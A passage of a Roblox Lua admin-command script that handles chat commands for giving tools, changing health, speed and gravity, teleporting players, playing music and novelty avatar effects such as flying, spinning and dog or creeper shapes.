  1077. coroutine.resume(coroutine.create(function()
  1078. if v and v:findFirstChild("Backpack") then
  1079. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1080. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1081. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1082. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1083. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1084. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1085. local sb
  1086. local hs
  1087. local pdist
  1088.  
  1089. script.Parent.Selected:connect(function(mouse)
  1090. if not mouse then return end
  1091. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1092. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1093. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1094. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1095. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1096. end)
  1097.  
  1098. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1099. end
  1100. end))
  1101. end
  1102. end
  1103.  
  1104. if msg:lower():sub(1,5) == "give " then
  1105. local chk1 = msg:lower():sub(6):find(" ") + 5
  1106. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1107. for i, v in pairs(plrz) do
  1108. coroutine.resume(coroutine.create(function()
  1109. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1110. for a, tool in pairs(game.Lighting:children()) do
  1111. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1112. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1113. end
  1114. end
  1115. end
  1116. end))
  1117. end
  1118. end
  1119.  
  1120. if msg:lower():sub(1,12) == "removetools " then
  1121. local plrz = GetPlr(plr, msg:lower():sub(13))
  1122. for i, v in pairs(plrz) do
  1123. coroutine.resume(coroutine.create(function()
  1124. if v and v.Character and v:findFirstChild("Backpack") then
  1125. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1126. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1127. end
  1128. end))
  1129. end
  1130. end
  1131.  
  1132. if msg:lower():sub(1,5) == "rank " then
  1133. local chk1 = msg:lower():sub(6):find(" ") + 5
  1134. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1135. for i, v in pairs(plrz) do
  1136. coroutine.resume(coroutine.create(function()
  1137. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1138. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1139. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1140. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1141. end
  1142. end))
  1143. end
  1144. end
  1145.  
  1146. if msg:lower():sub(1,7) == "damage " then
  1147. local chk1 = msg:lower():sub(8):find(" ") + 7
  1148. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1149. for i, v in pairs(plrz) do
  1150. coroutine.resume(coroutine.create(function()
  1151. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1152. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1153. end
  1154. end))
  1155. end
  1156. end
  1157.  
  1158. if msg:lower():sub(1,5) == "grav " then
  1159. local plrz = GetPlr(plr, msg:lower():sub(6))
  1160. for i, v in pairs(plrz) do
  1161. coroutine.resume(coroutine.create(function()
  1162. if v and v.Character and v.Character:findFirstChild("Torso") then
  1163. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1164. end
  1165. end))
  1166. end
  1167. end
  1168.  
  1169. if msg:lower():sub(1,8) == "setgrav " then
  1170. local chk1 = msg:lower():sub(9):find(" ") + 8
  1171. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1172. for i, v in pairs(plrz) do
  1173. coroutine.resume(coroutine.create(function()
  1174. if v and v.Character and v.Character:findFirstChild("Torso") then
  1175. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1176. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1177. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1178. end
  1179. end))
  1180. end
  1181. end
  1182.  
  1183. if msg:lower():sub(1,7) == "nograv " then
  1184. local plrz = GetPlr(plr, msg:lower():sub(8))
  1185. for i, v in pairs(plrz) do
  1186. coroutine.resume(coroutine.create(function()
  1187. if v and v.Character and v.Character:findFirstChild("Torso") then
  1188. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1189. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1190. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1191. end
  1192. end))
  1193. end
  1194. end
  1195.  
  1196. if msg:lower():sub(1,7) == "health " then
  1197. local chk1 = msg:lower():sub(8):find(" ") + 7
  1198. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1199. for i, v in pairs(plrz) do
  1200. coroutine.resume(coroutine.create(function()
  1201. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1202. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1203. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1204. end
  1205. end))
  1206. end
  1207. end
  1208.  
  1209. if msg:lower():sub(1,6) == "speed " then
  1210. local chk1 = msg:lower():sub(7):find(" ") + 6
  1211. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1212. for i, v in pairs(plrz) do
  1213. coroutine.resume(coroutine.create(function()
  1214. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1215. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1216. end
  1217. end))
  1218. end
  1219. end
  1220.  
  1221. if msg:lower():sub(1,5) == "team " then
  1222. local chk1 = msg:lower():sub(6):find(" ") + 5
  1223. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1224. for i, v in pairs(plrz) do
  1225. coroutine.resume(coroutine.create(function()
  1226. if v and game:findFirstChild("Teams") then
  1227. for a, tm in pairs(game.Teams:children()) do
  1228. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1229. end
  1230. end
  1231. end))
  1232. end
  1233. end
  1234.  
  1235. if msg:lower():sub(1,6) == "place " then
  1236. local chk1 = msg:lower():sub(7):find(" ") + 6
  1237. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1238. for i, v in pairs(plrz) do
  1239. coroutine.resume(coroutine.create(function()
  1240. if v and v:findFirstChild("PlayerGui") then
  1241. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1242. end
  1243. end))
  1244. end
  1245. end
  1246.  
  1247. if msg:lower():sub(1,3) == "tp " then
  1248. local chk1 = msg:lower():sub(4):find(" ") + 3
  1249. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1250. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1251. for i, v in pairs(plrz) do
  1252. coroutine.resume(coroutine.create(function()
  1253. for i2, v2 in pairs(plrz2) do
  1254. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1255. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1256. end
  1257. end
  1258. end))
  1259. end
  1260. end
  1261.  
  1262. if msg:lower():sub(1,7) == "change " then
  1263. local chk1 = msg:lower():sub(8):find(" ") + 7
  1264. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1265. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1266. for i, v in pairs(plrz) do
  1267. coroutine.resume(coroutine.create(function()
  1268. if v and v:findFirstChild("leaderstats") then
  1269. for a, st in pairs(v.leaderstats:children()) do
  1270. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1271. end
  1272. end
  1273. end))
  1274. end
  1275. end
  1276.  
  1277. if msg:lower():sub(1,6) == "shirt " then
  1278. local chk1 = msg:lower():sub(7):find(" ") + 6
  1279. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1280. for i, v in pairs(plrz) do
  1281. coroutine.resume(coroutine.create(function()
  1282. if v and v.Character then
  1283. for i,v in pairs(v.Character:children()) do
  1284. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1285. end
  1286. end
  1287. end))
  1288. end
  1289. end
  1290.  
  1291. if msg:lower():sub(1,6) == "pants " then
  1292. local chk1 = msg:lower():sub(7):find(" ") + 6
  1293. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1294. for i, v in pairs(plrz) do
  1295. coroutine.resume(coroutine.create(function()
  1296. if v and v.Character then
  1297. for i,v in pairs(v.Character:children()) do
  1298. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1299. end
  1300. end
  1301. end))
  1302. end
  1303. end
  1304.  
  1305. if msg:lower():sub(1,5) == "face " then
  1306. local chk1 = msg:lower():sub(6):find(" ") + 5
  1307. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1308. for i, v in pairs(plrz) do
  1309. coroutine.resume(coroutine.create(function()
  1310. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1311. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1312. end
  1313. end))
  1314. end
  1315. end
  1316.  
  1317. ------------------
  1318. -- Fun Commands --
  1319. ------------------
  1320. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1321.  
  1322. if msg:lower():sub(1,8) == "swagify " then
  1323. local plrz = GetPlr(plr, msg:lower():sub(9))
  1324. for i, v in pairs(plrz) do
  1325. coroutine.resume(coroutine.create(function()
  1326. if v and v.Character then
  1327. for i,v in pairs(v.Character:children()) do
  1328. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1329. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1330. end
  1331. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1332. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1333. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1334. local torso = plr.Character.Torso
  1335. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1336. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1337. p.Size = Vector3.new(.2,.2,.2)
  1338. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1339. local motor1 = Instance.new("Motor", p)
  1340. motor1.Part0 = p
  1341. motor1.Part1 = torso
  1342. motor1.MaxVelocity = .01
  1343. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1344. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1345. local wave = false
  1346. repeat wait(1/44)
  1347. local ang = 0.1
  1348. local oldmag = torso.Velocity.magnitude
  1349. local mv = .002
  1350. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1351. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1352. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1353. motor1.DesiredAngle = -ang
  1354. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1355. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1356. if torso.Velocity.magnitude < .1 then wait(.1) end
  1357. until not p or p.Parent ~= torso.Parent
  1358. script:Destroy()
  1359. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1360. end
  1361. end))
  1362. end
  1363. end
  1364.  
  1365. if msg:lower():sub(1,6) == "music " then
  1366. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1367. local id = msg:sub(7)
  1368. local pitch = 1
  1369. if tostring(id):lower():find("caramell") then id = 2303479 end
  1370. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1371. if tostring(id):find("rick") then id = 2027611 end
  1372. if tostring(id):find("halo") then id = 1034065 end
  1373. if tostring(id):find("pokemon") then id = 1372261 end
  1374. if tostring(id):find("cursed") then id = 1372257 end
  1375. if tostring(id):find("extreme") then id = 11420933 end
  1376. if tostring(id):find("awaken") then id = 27697277 end
  1377. if tostring(id):find("alone") then id = 27697392 end
  1378. if tostring(id):find("mario") then id = 1280470 end
  1379. if tostring(id):find("choir") then id = 1372258 end
  1380. if tostring(id):find("chrono") then id = 1280463 end
  1381. if tostring(id):find("dotr") then id = 11420922 end
  1382. if tostring(id):find("entertain") then id = 27697267 end
  1383. if tostring(id):find("fantasy") then id = 1280473 end
  1384. if tostring(id):find("final") then id = 1280414 end
  1385. if tostring(id):find("emblem") then id = 1372259 end
  1386. if tostring(id):find("flight") then id = 27697719 end
  1387. if tostring(id):find("banjo") then id = 27697298 end
  1388. if tostring(id):find("gothic") then id = 27697743 end
  1389. if tostring(id):find("hiphop") then id = 27697735 end
  1390. if tostring(id):find("intro") then id = 27697707 end
  1391. if tostring(id):find("mule") then id = 1077604 end
  1392. if tostring(id):find("film") then id = 27697713 end
  1393. if tostring(id):find("nezz") then id = 8610025 end
  1394. if tostring(id):find("angel") then id = 1372260 end
  1395. if tostring(id):find("resist") then id = 27697234 end
  1396. if tostring(id):find("schala") then id = 5985787 end
  1397. if tostring(id):find("organ") then id = 11231513 end
  1398. if tostring(id):find("tunnel") then id = 9650822 end
  1399. if tostring(id):find("spanish") then id = 5982975 end
  1400. if tostring(id):find("venom") then id = 1372262 end
  1401. if tostring(id):find("wind") then id = 1015394 end
  1402. if tostring(id):find("guitar") then id = 5986151 end
  1403. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1404. end
  1405.  
  1406. if msg:lower() == "stopmusic" then
  1407. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1408. end
  1409.  
  1410. if msg:lower() == "musiclist" then
  1411. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1412. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1413. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1414. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1415. end
  1416.  
  1417. if msg:lower():sub(1,4) == "fly " then
  1418. local plrz = GetPlr(plr, msg:lower():sub(5))
  1419. for i, v in pairs(plrz) do
  1420. coroutine.resume(coroutine.create(function()
  1421. if v and v:findFirstChild("PlayerGui") then
  1422. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1423. cl.Parent = v.PlayerGui cl.Disabled = false
  1424. end
  1425. end))
  1426. end
  1427. end
  1428.  
  1429. if msg:lower():sub(1,6) == "unfly " then
  1430. local plrz = GetPlr(plr, msg:lower():sub(7))
  1431. for i, v in pairs(plrz) do
  1432. coroutine.resume(coroutine.create(function()
  1433. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1434. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1435. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1436. wait(.1) v.Character.Humanoid.PlatformStand = false
  1437. end
  1438. end))
  1439. end
  1440. end
  1441.  
  1442. if msg:lower() == "disco" then
  1443. for i, v in pairs(lobjs) do v:Destroy() end
  1444. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1445. game.Lighting.Ambient = color
  1446. game.Lighting.FogColor = color
  1447. until nil]]
  1448. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1449. end
  1450.  
  1451. if msg:lower() == "flash" then
  1452. for i, v in pairs(lobjs) do v:Destroy() end
  1453. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1454. game.Lighting.Ambient = Color3.new(1,1,1)
  1455. game.Lighting.FogColor = Color3.new(1,1,1)
  1456. game.Lighting.Brightness = 1
  1457. game.Lighting.TimeOfDay = 14
  1458. wait(.1)
  1459. game.Lighting.Ambient = Color3.new(0,0,0)
  1460. game.Lighting.FogColor = Color3.new(0,0,0)
  1461. game.Lighting.Brightness = 0
  1462. game.Lighting.TimeOfDay = 0
  1463. until nil]]
  1464. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1465. end
  1466.  
  1467. if msg:lower():sub(1,5) == "spin " then
  1468. local plrz = GetPlr(plr, msg:lower():sub(6))
  1469. for i, v in pairs(plrz) do
  1470. coroutine.resume(coroutine.create(function()
  1471. if v and v.Character and v.Character:findFirstChild("Torso") then
  1472. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1473. local torso = v.Character:findFirstChild("Torso")
  1474. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1475. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1476. until not bg or bg.Parent ~= torso
  1477. end
  1478. end))
  1479. end
  1480. end
  1481.  
  1482. if msg:lower():sub(1,7) == "unspin " then
  1483. local plrz = GetPlr(plr, msg:lower():sub(8))
  1484. for i, v in pairs(plrz) do
  1485. coroutine.resume(coroutine.create(function()
  1486. if v and v.Character and v.Character:findFirstChild("Torso") then
  1487. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1488. end
  1489. end))
  1490. end
  1491. end
  1492.  
  1493. if msg:lower():sub(1,4) == "dog " then
  1494. local plrz = GetPlr(plr, msg:lower():sub(5))
  1495. for i, v in pairs(plrz) do
  1496. coroutine.resume(coroutine.create(function()
  1497. if v and v.Character and v.Character:findFirstChild("Torso") then
  1498. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1499. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1500. v.Character.Torso.Transparency = 1
  1501. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1502. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1503. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1504. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1505. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1506. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1507. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1508. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1509. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1510. end
  1511. end))
  1512. end
  1513. end
  1514.  
  1515. if msg:lower():sub(1,6) == "undog " then
  1516. local plrz = GetPlr(plr, msg:lower():sub(7))
  1517. for i, v in pairs(plrz) do
  1518. coroutine.resume(coroutine.create(function()
  1519. if v and v.Character and v.Character:findFirstChild("Torso") then
  1520. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1521. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1522. v.Character.Torso.Transparency = 0
  1523. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1524. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1525. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1526. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1527. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1528. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1529. end
  1530. end))
  1531. end
  1532. end
  1533.  
  1534. if msg:lower():sub(1,8) == "creeper " then
  1535. local plrz = GetPlr(plr, msg:lower():sub(9))
  1536. for i, v in pairs(plrz) do
  1537. coroutine.resume(coroutine.create(function()
  1538. if v and v.Character and v.Character:findFirstChild("Torso") then
  1539. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1540. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1541. v.Character.Torso.Transparency = 0
  1542. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1543. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1544. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1545. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1546. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1547. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1548. end
  1549. end))
  1550. end
  1551. end
  1552.  
  1553. if msg:lower():sub(1,10) == "uncreeper " then
  1554. local plrz = GetPlr(plr, msg:lower():sub(11))
  1555. for i, v in pairs(plrz) do
  1556. coroutine.resume(coroutine.create(function()
  1557. if v and v.Character and v.Character:findFirstChild("Torso") then
  1558. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1559. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1560. v.Character.Torso.Transparency = 0
  1561. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1562. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1563. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1564. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1565. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
